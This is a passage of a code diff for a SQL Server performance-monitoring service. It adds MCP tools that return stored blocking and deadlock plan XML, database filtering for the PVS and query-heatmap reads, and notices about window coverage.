+                    DarlingReproScript.KindQueryHash => await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "query_stats", cancellationToken),
+                    DarlingReproScript.KindQueryStore => await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "query_store", cancellationToken),
+                    _ => await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "query_snapshots", cancellationToken),
+                };
+                return notCollected
+                    ?? McpHelpers.Status("unavailable", $"No stored query text found for this {kind} key, so no repro script can be built.");
+            }
+
+            return JsonSerializer.Serialize(new
+            {
+                kind,
+                /* Only the kind's own key fields are echoed, never stray caller params. */
+                query_hash = kind == DarlingReproScript.KindQueryHash ? query_hash : null,
+                database_name = kind != DarlingReproScript.KindActiveSnapshot ? database_name : null,
+                query_id = kind == DarlingReproScript.KindQueryStore ? query_id : null,
+                plan_id = kind == DarlingReproScript.KindQueryStore ? plan_id : null,
+                collection_time = kind == DarlingReproScript.KindActiveSnapshot ? collection_time : null,
+                session_id = kind == DarlingReproScript.KindActiveSnapshot ? session_id : null,
+                request_id = kind == DarlingReproScript.KindActiveSnapshot ? (int?)request_id : null,
+                plan_found = !string.IsNullOrEmpty(planXml),
+                script,
+            }, ReproJson);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return McpHelpers.FormatError("get_query_repro_script", ex);
+        }
+    }
+
+    /* The two values side takes on get_blocking_plan_xml (#5236). */
+    private const string BlockedSide = "blocked";
+    private const string BlockingSide = "blocking";
+
+    [McpServerTool(Name = "get_blocking_plan_xml"), Description(
+        "Returns the raw showplan XML stored with one get_blocking row (event_time + both spids); side=blocking gives the blocker's plan. Truncated at 500KB.")]
+    public static async Task<string> GetBlockingPlanXml(
+        NpgsqlDataSource postgres,
+        [Description("The row's event_time, exactly as get_blocking returned it.")] string event_time,
+        [Description("The row's blocked_spid.")] int blocked_spid,
+        [Description("The row's blocking_spid.")] int blocking_spid,
+        [Description("Server name or display name.")] string? server_name = null,
+        [Description("The row's blocked_ecid; omit for 0.")] int blocked_ecid = 0,
+        [Description("The row's blocking_ecid; omit for 0.")] int blocking_ecid = 0,
+        [Description("blocked (default) for the blocked session's plan; blocking for the blocker's.")] string? side = BlockedSide,
+        [Description("The row's database_name; omit to match any database.")] string? database_name = null,
+        CancellationToken cancellationToken = default)
+    {
+        /* #5236: an absent side is the default, and only a value that is neither side is refused — the plan of the
+           wrong process is worse than none, so it is never guessed. */
+        var blockingSide = string.Equals(side, BlockingSide, StringComparison.OrdinalIgnoreCase);
+        if (!blockingSide && !string.IsNullOrEmpty(side) && !string.Equals(side, BlockedSide, StringComparison.OrdinalIgnoreCase))
+            return McpHelpers.Refusal("side", "Expected blocked or blocking.");
+
+        /* The same exact-instant parse as get_active_query_plan_xml: event_time is the XE timestamp as get_blocking
+           printed it ("o", naive UTC, microseconds kept), and the store compares it for equality. */
+        if (!TryParseCollectionTime(event_time, out var eventTimeUtc))
+            return McpHelpers.Refusal("event_time", "Expected the event_time exactly as get_blocking returned it (ISO 8601, UTC).");
+
+        var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
+        if (error != null) return error;
+
+        try
+        {
+            var xml = await DarlingStoredPlanReader.GetBlockingPlanXmlAsync(
+                postgres, resolved.ServerId, eventTimeUtc, blocked_spid, blocked_ecid, blocking_spid, blocking_ecid, blockingSide, database_name, maxOutputChars: PlanXmlOutputChars, cancellationToken: cancellationToken);
+            if (string.IsNullOrEmpty(xml))
+                return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "blocked_process_report", cancellationToken)
+                    ?? McpHelpers.Status(
+                        "unavailable",
+                        $"No stored {(blockingSide ? BlockingSide : BlockedSide)} plan found for blocked_spid {blocked_spid} and blocking_spid {blocking_spid} at event_time '{event_time}'{DbSuffix(database_name)}. " +
+                        "The collector captures these plans best-effort, only while the statement is still in the plan cache, so many reports have none.");
+
+            return McpHelpers.Truncate(xml, PlanXmlOutputChars) ?? "No plan XML available.";
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return McpHelpers.FormatError("get_blocking_plan_xml", ex);
+        }
+    }
+
+    [McpServerTool(Name = "get_deadlock_plan_xml"), Description(
+        "Returns the raw showplan XML stored for the victim of one get_deadlocks row (collection_time + deadlock_time). Truncated at 500KB.")]
+    public static async Task<string> GetDeadlockPlanXml(
+        NpgsqlDataSource postgres,
+        [Description("The row's collection_time, exactly as get_deadlocks returned it.")] string collection_time,
+        [Description("The row's deadlock_time, exactly as get_deadlocks returned it.")] string deadlock_time,
+        [Description("Server name or display name.")] string? server_name = null,
+        [Description("The row's victim_process_id; picks the right deadlock when two share both times.")] string? victim_process_id = null,
+        [Description("The row's database_name; omit to match any database.")] string? database_name = null,
+        CancellationToken cancellationToken = default)
+    {
+        /* Both stamps are the row's own and compared for equality, so each is parsed as an exact instant, never rounded. */
+        if (!TryParseCollectionTime(collection_time, out var collectionTimeUtc))
+            return McpHelpers.Refusal("collection_time", "Expected the collection_time exactly as get_deadlocks returned it (ISO 8601, UTC).");
+        if (!TryParseCollectionTime(deadlock_time, out var deadlockTimeUtc))
+            return McpHelpers.Refusal("deadlock_time", "Expected the deadlock_time exactly as get_deadlocks returned it (ISO 8601, UTC).");
+
+        var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
+        if (error != null) return error;
+
+        try
+        {
+            var read = await DarlingStoredPlanReader.GetDeadlockVictimPlanXmlAsync(
+                postgres, resolved.ServerId, collectionTimeUtc, deadlockTimeUtc, victim_process_id, database_name, maxOutputChars: PlanXmlOutputChars, cancellationToken: cancellationToken);
+
+            /* Deadlocks with the same stamps that name more than one victim (whether or not each captured a plan), and no victim
+               named: the plan of the wrong deadlock is worse than none (as with side above), so none is returned and the caller is
+               told what picks one. */
+            if (read.Ambiguous)
+                return McpHelpers.Refusal("victim_process_id",
+                    "More than one deadlock shares this collection_time and deadlock_time and they name different victims. Pass the row's victim_process_id to pick one.");
+
+            var xml = read.PlanXml;
+            if (string.IsNullOrEmpty(xml))
+                return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "deadlocks", cancellationToken)
+                    ?? McpHelpers.Status(
+                        "unavailable",
+                        $"No stored victim plan found for the deadlock at deadlock_time '{deadlock_time}' (collection_time '{collection_time}'){DbSuffix(database_name)}. " +
+                        "The collector captures the victim's plan best-effort, only while the statement is still in the plan cache, so many deadlocks have none.");
+
+            return McpHelpers.Truncate(xml, PlanXmlOutputChars) ?? "No plan XML available.";
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return McpHelpers.FormatError("get_deadlock_plan_xml", ex);
+        }
+    }
+
     /// <summary>" in database 'X'" when a database was supplied, else empty — keeps the miss message honest
     /// about the coarse-vs-fine key the caller actually used.</summary>
     private static string DbSuffix(string? databaseName) =>
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPvsTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPvsTools.cs
index c7448a9f14..5db851772a 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPvsTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPvsTools.cs
@@ -15,6 +15,7 @@
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Service.Mcp;
 
@@ -33,11 +34,27 @@ public sealed class DarlingMcpPvsTools
 {
     [McpServerTool(Name = "get_pvs_stats"), Description(
         "ADR PVS state per database: size, % of database, aborted-txn count, cleaner times (a start with no end = mid-run). LATEST IS A TIME: the newest snapshot, not a window; as_of is when it was taken. trend_hours_back (0 = off) looks back from now, not from as_of, over the top-5 databases by current size. Cleaner times are de-skewed to UTC, like as_of. pct_of_database is null only if PVS size is unmeasured (pvs_measured false) or database size is missing or 0 (pct_of_database_reason says why); else measured 0 MB = 0.00. No rows: not_collected if this engine can't collect PVS, else empty. <<GUIDE>> Gets the Accelerated Database Recovery (ADR) persistent version store state per database: PVS size and percent-of-database, online-index version store size, aborted transaction count, version-cleaner run state (a start time without an end time means the cleaner is mid-run), and the oldest active/aborted transaction ids. Use when a database's size is growing without table growth, when ADR cleanup looks stuck, or alongside the PVS pressure alert. A large PVS is pinned by long-running or aborted transactions; the id gap shows how far cleanup is behind. Optionally returns the size trend for the top-5 databases over a window. Every timestamp here is UTC, the four cleaner times included - the DMV reports those in the monitored server's local clock and this read de-skews them - so a cleaner time compares directly against as_of. pvs_measured says whether the DMV reported a size for that database at all; a measured 0 MB is published as pvs_size_mb 0 and pct_of_database 0.00 (the healthy, fully-cleaned state), and pct_of_database is null only when the numerator was not measured or the denominator is absent or zero, with pct_of_database_reason saying which.")]
-    public static async Task<string> GetPvsStats(
+    public static Task<string> GetPvsStats(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of size-trend history for the top-5 databases; 0 (default) returns the latest snapshot only.")] int trend_hours_back = 0,
-        CancellationToken cancellationToken = default)
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null,
+        CancellationToken cancellationToken = default) =>
+        GetPvsStats(postgres, server_name, trend_hours_back, DatabaseFilter.One(database_name), cancellationToken);
+
+    /// <summary>
+    /// #5244: get_pvs_stats over a SET of databases (<see cref="DatabaseFilter.All"/> = every database): the chosen databases'
+    /// rows at the server's newest snapshot (<c>as_of</c> is the server's snapshot, so it does not move with the filter), and a
+    /// trend over the top five of the CHOSEN databases (the cap applies after the filter).
+    /// <para>One-name consumers made list-aware (#5244 M4), on the empty path: when the server has a PVS snapshot and the chosen
+    /// databases are not in it, the answer is <c>empty</c> for the chosen databases, with how many databases the snapshot does
+    /// hold. It never says "no PVS data collected for this server", which would be a verdict about the server. The
+    /// <c>not_collected</c> and unfiltered <c>empty</c> envelopes keep their words. Every answer shape carries the
+    /// <c>database_name</c> echo (the name, "the chosen databases", or null for every database), including those two.
+    /// The read has no truncation sentence.</para>
+    /// </summary>
+    internal static async Task<string> GetPvsStats(
+        NpgsqlDataSource postgres, string? server_name, int trend_hours_back, DatabaseFilter databaseFilter, CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
@@ -50,13 +67,32 @@ public static async Task<string> GetPvsStats(
 
         try
         {
-            var rows = await DarlingPvsReader.GetPvsStatsLatestAsync(postgres, resolved.ServerId, cancellationToken);
+            var rows = await DarlingPvsReader.GetPvsStatsLatestAsync(postgres, resolved.ServerId, databaseFilter, cancellationToken);
             if (rows.Count == 0)
             {
-                return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "pvs_stats", cancellationToken)
-                    ?? McpHelpers.Status("empty",
+                /* #5244: a filter that matches no database is a different answer from a server with no PVS data. The probe is the
+                   same newest-snapshot read, unfiltered, so "there is a snapshot, just not for these databases" is observed. */
+                if (!databaseFilter.IsAll)
+                {
+                    var serverRows = await DarlingPvsReader.GetPvsStatsLatestAsync(postgres, resolved.ServerId, DatabaseFilter.All, cancellationToken);
+                    if (serverRows.Count > 0)
+                    {
+                        return McpHelpers.StatusForDatabase("empty",
+                            $"No PVS rows for {DarlingMcpObjectStatsTools.DescribeScope(databaseFilter)} on {resolved.ServerName} in the snapshot taken at "
+                            + $"{serverRows[0].CollectionTime:o}, though it holds {serverRows.Count:N0} other database(s). Check the database "
+                            + $"{(databaseFilter.Names.Count == 1 ? "name" : "names")}: the filter matches exactly, and a database with no row at that "
+                            + "snapshot looks identical to one that does not exist.",
+                            databaseFilter.Describe());
+                    }
+                }
+
+                return McpHelpers.WithDatabase(
+                           await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "pvs_stats", cancellationToken),
+                           databaseFilter.Describe())
+                    ?? McpHelpers.StatusForDatabase("empty",
                         "No PVS data collected for this server. The collector reads sys.dm_tran_persistent_version_store_stats " +
-                        "(SQL Server 2019+); a server with no rows either predates ADR or has not completed a pvs_stats cycle yet.");
+                        "(SQL Server 2019+); a server with no rows either predates ADR or has not completed a pvs_stats cycle yet.",
+                        databaseFilter.Describe());
             }
 
             var databases = rows.Select(r => new
@@ -90,13 +126,27 @@ public static async Task<string> GetPvsStats(
                 /* The lag between these ids is how far cleanup is behind — the gap itself, never a verdict. */
                 oldest_active_transaction_id = r.OldestActiveTransactionId,
                 oldest_aborted_transaction_id = r.OldestAbortedTransactionId,
+                /* How far the oldest aborted transaction trails the oldest active one, the desktop grid's
+                   "Aborted Lag". Null unless BOTH ids are non-zero: zero is the DMV's "none tracked"
+                   sentinel, not a low value, so subtracting through it would invent a huge gap. */
+                aborted_transaction_lag = AbortedLag(r.OldestActiveTransactionId, r.OldestAbortedTransactionId),
+                /* The desktop grid's "Cleanup": Running when either cleaner has a start and no end, Idle when
+                   one has finished, Never run when neither has. Computed from the UTC pair above. */
+                cleanup_state = CleanupState(r),
+                /* Off-row pages the cleaner skipped, by reason: skipped_low_water_mark is "Skipped: Secondary"
+                   (a query on a secondary replica), skipped_min_useful_xts is "Skipped: Snapshot" (a long
+                   snapshot scan), skipped_oldest_aborted is "Skipped: Aborted" (space held by aborted
+                   transactions). Null = the server never reported the counter; 0 is a reported zero. */
+                skipped_low_water_mark = r.SkippedLowWaterMark,
+                skipped_min_useful_xts = r.SkippedMinUsefulXts,
+                skipped_oldest_aborted = r.SkippedOldestAborted,
             });
 
             object? trend = null;
             if (trend_hours_back > 0)
             {
                 var points = await DarlingPvsReader.GetPvsTrendAsync(
-                    postgres, resolved.ServerId, DateTime.UtcNow.AddHours(-trend_hours_back), cancellationToken);
+                    postgres, resolved.ServerId, DateTime.UtcNow.AddHours(-trend_hours_back), databaseFilter, cancellationToken);
                 trend = points
                     .GroupBy(p => p.DatabaseName)
                     .Select(g => new
@@ -118,6 +168,7 @@ snapshot carries — never a fabricated 0 MB in the series. Lite's twin
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
+                database_name = databaseFilter.Describe(),
                 as_of = rows[0].CollectionTime.ToString("o"),
                 databases,
                 trend_hours_back = trend_hours_back > 0 ? trend_hours_back : (int?)null,
@@ -130,6 +181,19 @@ snapshot carries — never a fabricated 0 MB in the series. Lite's twin
         }
     }
 
+    /// <summary>Oldest active minus oldest aborted transaction id; null unless both are non-zero.</summary>
+    internal static long? AbortedLag(long? oldestActive, long? oldestAborted) =>
+        oldestAborted > 0 && oldestActive > 0 ? oldestActive - oldestAborted : null;
+
+    /// <summary>Running / Idle / Never run, from the two cleaners' start and end pairs.</summary>
+    internal static string CleanupState(DarlingPvsReader.PvsStatsRow r)
+    {
+        var running = (r.AbortedCleanerStartTimeUtc.HasValue && !r.AbortedCleanerEndTimeUtc.HasValue)
+            || (r.OffrowCleanerStartTimeUtc.HasValue && !r.OffrowCleanerEndTimeUtc.HasValue);
+        if (running) return "Running";
+        return r.AbortedCleanerEndTimeUtc.HasValue || r.OffrowCleanerEndTimeUtc.HasValue ? "Idle" : "Never run";
+    }
+
     /// <summary>
     /// Why <c>pct_of_database</c> is null, when it is (#3541 A12): the numerator was not measured, or the
     /// denominator was absent or zero. Null when the percent is defined — including a defined 0.00 — so the
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryHeatmapTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryHeatmapTools.cs
index 9b29daec2d..fb630a835c 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryHeatmapTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryHeatmapTools.cs
@@ -13,9 +13,11 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 #pragma warning disable CA1707 // MCP tools use snake_case naming convention
 
@@ -57,7 +59,7 @@ public sealed class DarlingMcpQueryHeatmapTools
     public const int FullTextPreviewLength = 32_000;
 
     [McpServerTool(Name = "get_query_heatmap"), Description("Draws the desktop viewer's Query Heatmap as a table: how many distinct queries fell into each (time bin x log-magnitude bucket) cell over a window, plus the most-executed query in each cell. It answers when a server was slow and how slow at the same time - get_top_queries_by_cpu ranks queries over a whole window and cannot show that the window had two very different halves. Bins are 5 minutes wide by default because that is exactly what the desktop viewer uses, so a browser, an agent and a desktop pointed at the same server draw the same picture; raise bucket_minutes for a longer window, which is also the lever that fits more of the window inside the cell cap. Magnitude buckets are the viewer's seven, in the metric's own unit: under 1, 1-10, 10-100, 100-1K, 1K-10K, 10K-100K and over 100K.")]
-    public static async Task<string> GetQueryHeatmap(
+    public static Task<string> GetQueryHeatmap(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("How far back to look, in hours. Default 24.")] int hours_back = 24,
@@ -67,11 +69,37 @@ public static async Task<string> GetQueryHeatmap(
         [Description("Maximum CELLS to return, most recent bins first. Default 100. A full day of 5-minute bins can reach 2,016 cells on a busy server; raise bucket_minutes rather than the cap to see the whole window.")] int limit = DefaultCellLimit,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
         [Description("Return each cell's top query at full length instead of an 80-character preview. Default false.")] bool full_text = false,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
+        => GetQueryHeatmap(
+            postgres, server_name, hours_back, metric, DatabaseFilter.One(database_name), bucket_minutes, limit, as_of, full_text,
+            logger, cancellationToken);
+
+    /// <summary>
+    /// #5245: the get_query_heatmap read over a LIST of databases. The MCP tool passes <see cref="DatabaseFilter.One"/> of its one <c>database_name</c>; a
+    /// later lane wires the parameter to a list. Every one-name consumer on this read is list-aware: the echoed
+    /// <c>database_name</c> field (<see cref="DatabaseFilter.Describe"/>: the name for one database, "the chosen
+    /// databases" for two or more, null for all) and the empty-grid text (<see cref="EmptyAsync"/>). For one name
+    /// both read exactly as they did.
+    /// </summary>
+    internal static async Task<string> GetQueryHeatmap(
+        NpgsqlDataSource postgres,
+        string? server_name,
+        int hours_back,
+        string? metric,
+        DatabaseFilter databaseFilter,
+        int bucket_minutes,
+        int limit,
+        string? as_of,
+        bool full_text,
+        ILogger? logger,
+        CancellationToken cancellationToken)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
 
+        /* #5562: stays at 168 h. This reads raw query_stats, which a TimescaleDB store drops at four days (TimescaleSupport.RawRetentionInterval), so a
+           longer reach would be a window the table cannot fill, so this keeps the 168-hour overload (its WebReadReach row says the same). */
         var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd)
             ?? McpHelpers.ValidateTop(limit);
         if (validation != null) return validation;
@@ -107,10 +135,18 @@ cell cap.
             */
             var previewLength = full_text ? FullTextPreviewLength : DefaultPreviewLength;
             var rows = await DarlingQueryHeatmapReader.GetQueryHeatmapAsync(
-                postgres, resolved.ServerId, parsedMetric, start, end, database_name, bucket_minutes, limit + 1, previewLength, cancellationToken);
+                postgres, resolved.ServerId, parsedMetric, start, end, databaseFilter, bucket_minutes, limit + 1, previewLength, cancellationToken);
+
+            /* #4966: where this server's query_stats start, read ahead of the empty answers, which carry it too: an empty grid
+               over a window the table does not reach back to is not a report that nothing ran. A window of 90 minutes or
+               less that answered cells is covered without a probe. Unfiltered by database_name (the floor is a property of
+               the table). */
+            var notice = await DarlingMcpWindowNotice.ReadAsync(
+                () => DarlingMcpWindowNotice.Probe(postgres, "query_stats", resolved.ServerName, start, end, cancellationToken),
+                start, end, "query_stats", emptyAnswer: rows.Count == 0, logger: logger, cancellationToken: cancellationToken);
 
             if (rows.Count == 0)
-                return await EmptyAsync(postgres, resolved.ServerName, resolved.ServerId, start, end, hours_back, cancellationToken);
+                return await EmptyAsync(postgres, resolved.ServerName, resolved.ServerId, start, end, hours_back, notice, databaseFilter, cancellationToken: cancellationToken);
 
             var truncated = rows.Count > limit;
             var cells = rows.Take(limit).ToList();
@@ -141,13 +177,18 @@ because the SQL sorts time DESC and bucket ASC. The DESC exists only so the cap
 
             var labels = DarlingQueryHeatmapReader.BucketLabels[parsedMetric];
 
-            return JsonSerializer.Serialize(new
+            var json = JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* The window floor, always present (false and null when the table covered the window). No effective_hours_back:
+                   this payload carries a page `truncated`, and the census holds that key apart for the window floor. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 metric = DarlingQueryHeatmapReader.MetricName(parsedMetric),
                 metric_unit = DarlingQueryHeatmapReader.MetricUnit(parsedMetric),
-                database_name,
+                database_name = databaseFilter.Describe(),
                 /* The window that was QUERIED, anchored or not — the caller reads the bins against it. */
                 window_start = start.ToString("o"),
                 window_end = end.ToString("o"),
@@ -185,6 +226,9 @@ way to see how much of the window is missing. */
                     top_query_text_truncated = c.TopQueryTextTruncated,
                 }),
             }, McpHelpers.JsonOptions);
+
+            /* A failed probe costs the notice, never the cells (see DarlingMcpWindowNotice.ReadAsync). */
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -205,7 +249,7 @@ way to see how much of the window is missing. */
     /// </summary>
     private static async Task<string> EmptyAsync(
         NpgsqlDataSource postgres, string serverName, int serverId, DateTime start, DateTime end, int hours_back,
-        CancellationToken cancellationToken)
+        McpWindowNotice notice, DatabaseFilter databaseFilter, CancellationToken cancellationToken)
     {
         var (hasAny, hasInWindow) = await DarlingQueryHeatmapReader.GetCoverageAsync(postgres, serverId, start, end, cancellationToken);
 
@@ -221,11 +265,21 @@ private static async Task<string> EmptyAsync(
         {
             return McpHelpers.Status(
                 "empty",
-                $"{serverName} has query stats from outside this window but nothing collected IN the last {hours_back} hour(s), so the grid has no columns rather than no hot cells. Widen hours_back, or check get_collection_health — a collector that stopped looks exactly like this.");
+                $"{serverName} has query stats from outside this window but nothing collected IN the last {hours_back} hour(s), so the grid has no columns rather than no hot cells. Widen hours_back, or check get_collection_health — a collector that stopped looks exactly like this.",
+                notice.AsHints());
         }
 
         return McpHelpers.Status(
             "empty",
-            $"Query stats WERE collected for {serverName} in the last {hours_back} hour(s), but no capture recorded an execution: every row carried a zero execution delta, so nothing lands on the grid. A server that is up and idle looks exactly like this, and so does a database_name filter matching nothing collected. Delta-based collection also needs a SECOND cycle before the first non-zero row exists.");
+            McpHelpers.QuietUnlessCut(
+                /* A database_name filter is exempt: the coverage probe is unfiltered, so a filtered empty grid may be the filter and
+                   not the window, and the covered sentence is the one that says so. */
+                notice.WindowTruncated && databaseFilter.IsAll, notice.EffectiveStart,
+                factual: $"Query stats WERE collected for {serverName} in the last {hours_back} hour(s), but no capture recorded an execution: every row carried a zero execution delta, so nothing lands on the grid",
+                coveredClaim: databaseFilter.Names.Count > 1
+                    ? ". A server that is up and idle looks exactly like this, and so does a filter on the chosen databases matching nothing collected."
+                    : ". A server that is up and idle looks exactly like this, and so does a database_name filter matching nothing collected.",
+                tail: " Delta-based collection also needs a SECOND cycle before the first non-zero row exists."),
+            notice.AsHints());
     }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreClutterTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreClutterTools.cs
index 1607962702..70e8cd0a65 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreClutterTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreClutterTools.cs
@@ -83,11 +83,6 @@ public sealed class DarlingMcpQueryStoreClutterTools
     /// so the default page is usually the whole list; <c>truncated</c> says when it is not.</summary>
     public const int DefaultLimit = 50;
 
-    /// <summary>The window floor's tolerance: the raw tier's first row inside the window is allowed to sit
-    /// this far after the requested start before the window is called truncated — <c>get_query_store_top</c>'s
-    /// 90 minutes, the cadence slack between a request and the first collection that could have served it.</summary>
-    private static readonly TimeSpan WindowFloorTolerance = TimeSpan.FromMinutes(90);
-
     /// <summary>The sentence beside <c>query_capture_mode</c>, naming what a null there means. A null is a
     /// health row captured before the V137 rung (#3796) created the column — the mode was never asked for —
     /// and a reader must not read it as <c>NONE</c>, which is a mode the engine really can be in.</summary>
@@ -96,14 +91,34 @@ public sealed class DarlingMcpQueryStoreClutterTools
 
     [McpServerTool(Name = "get_query_store_clutter"), Description(
         "The Query Store CLUTTER view for one server, composed from already-collected rows: no new query runs. Clutter (read_cost/plan_churn/config) is per DATABASE; qs_overhead (waits/memory clerk) is per SERVER, never attributed to a database. No rows answers unavailable, never a clean bill. Verdict Unknown means unmeasured, never quietly Healthy. REPLICAS: excluded, verdict Unknown, never a defect. query_capture_mode null means never asked, never NONE. window_truncated is a retention floor, not a page cut: no limit fixes it. fleet_median is null unless include_fleet_median=true. <<GUIDE>> The Query Store CLUTTER view for one server, composed from rows already collected — no new query runs against the monitored server. Clutter is per DATABASE and overhead is per SERVER, and the payload keeps the two apart. Each database row carries three decomposed arms with raw numbers, never a bare composite. (a) read_cost, from the query_store collector's fan-out rollup on collection_log: runs_observed (fan-out runs on the server in the window), runs_slowest (runs on which THIS database was the slowest item) and runs_slowest_pct, slowest_item_ms_p50/p95 when it was, run_duration_ms_p50 for scale, slowest_share_pct (median of slowest_item_ms / duration_ms over those runs — the slowest item's share of the whole pass, get_collection_health's verdict figure), and dominance_ratio (this database's median slowest cost over the pooled median of every OTHER database's slowest cost on the same server, null when no other database was ever slowest). dominance_ratio is NOT get_collection_health's dominance (slowest x items / run) — it names a different quantity. The store keeps only the slowest item of each run, so this arm ranks databases by how often and by how much they were the slowest, not by a per-database series. (b) plan_churn, from raw query_store_stats: distinct_queries, distinct_plans (plan_id — the identity MAX_PLANS_PER_QUERY caps and the plan map keys on), plans_per_query_p95 and _max, new_plans_per_day (plans first seen after the database's first collection in the window, per day of the span its collections cover; a plan idle before the window and run again inside it counts as new — the store keeps no first-seen stamp), never_seen_twice_fraction (plans seen under exactly one collection over all plans observed; null under two collections) and collections_observed. (c) config, the newest query_store_health capture per database INSIDE the window, with its own captured_at: actual_state, desired_state, readonly_reason (decoded), storage used vs cap and pct_of_cap, size_based_cleanup_mode, stale_query_threshold_days, max_plans_per_query, interval_length_minutes, and query_capture_mode (the DMV's query_capture_mode_desc spelling verbatim: ALL / AUTO / CUSTOM / NONE) with capture_mode_known beside it — null means the newest capture predates the V137 rung that added the column, which is NEVER ASKED and never NONE. The mode is the one option on that row that names a plan-churn factory, so the churn recommendations name it: ALL beside high churn is the 'switch to AUTO' case, AUTO beside it points at the workload. Per database, verdict is the band canon (Healthy / Warning / Critical / Unknown) with verdict_reasons naming the arm and bar that raised it; the bars are published under thresholds so you can disagree with them on the evidence, and Unknown means unmeasured, never quietly Healthy. recommendations is prose per reason and next_tools names the reads that carry the detail. Rows are ordered worst-first (band, then the read-cost share, then plans per query) and cut at limit, observed off a fetch one past it: truncated is the page cut, databases_returned the page, database_count the whole. REPLICAS: a database whose readonly_reason carries bit 8 (the engine's readable-secondary flag) reads excluded: true, excluded_reason: qs_read_only_replica, verdict Unknown — Query Store on a readable secondary is READ_ONLY by design, its clutter and configuration are its primary's, and it is never a defect here. qs_overhead is the ONE per-server block: wait_stats lists every non-sleep QDS_* wait type in the window with wait_ms_total, waiting_tasks_total and wait_ms_per_hour (rated milliseconds over the measured seconds they accrued over, never over a cadence; null when no interval was knowable), and excluded_wait_types NAMES the four QDS_* sleep waits IgnoredWaitDefaults drops at collection (QDS_ASYNC_QUEUE, QDS_CLEANUP_STALE_QUERIES_TASK_MAIN_LOOP_SLEEP, QDS_PERSIST_TASK_MAIN_LOOP_SLEEP, QDS_SHUTDOWN_QUEUE) so the proxy is not mistaken for the whole; memory_clerk is MEMORYCLERK_QUERYDISKSTORE latest and window max, with clerk_in_latest_capture saying whether it is in the collector's current top 25 (its absence is a rank, not a zero); the block ends with the window's baseline discontinuities, the same markers the trend tools publish. The window block carries the requested start and end beside the raw tier's reach. fleet_median is opt-in (include_fleet_median): discrete medians of slowest_share_pct and plans_per_query_p95 over every database on every enabled SQL Server target that is not a replica, and of the QDS wait rate over those servers, each with the population it was drawn from — off by default because it walks two raw hypertables fleet-wide over the window. include_fleet_median's own original wording, unabbreviated: If true, also compute fleet_median: the discrete median of each headline arm over every enabled SQL Server target that is not a replica, so a per-server figure has a reference. Default false — it walks query_store_stats and wait_stats fleet-wide over the window, which on a large store is the read deadline's whole budget. The plan-churn and wait arms read the raw tier only, which on a store with the rollups armed is dropped at 4 days." + McpHelpers.WindowTruncatedDescription)]
-    public static async Task<string> GetQueryStoreClutter(
+    public static Task<string> GetQueryStoreClutter(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 24, maximum 168; the plan-churn and wait arms read the raw tier, which a store with the rollups armed drops at 4 days — window_truncated says when the window reached past it.")] int hours_back = 24,
         [Description("Maximum database rows to return, worst first. Default 50. truncated is true when the server had more Query-Store-bearing databases than this; database_count is the whole.")] int limit = DefaultLimit,
         [Description("If true, also computes fleet_median: the discrete median of each headline arm over every enabled non-replica SQL Server target. Default false; see the reading guide for the read-cost detail.")] bool include_fleet_median = false,
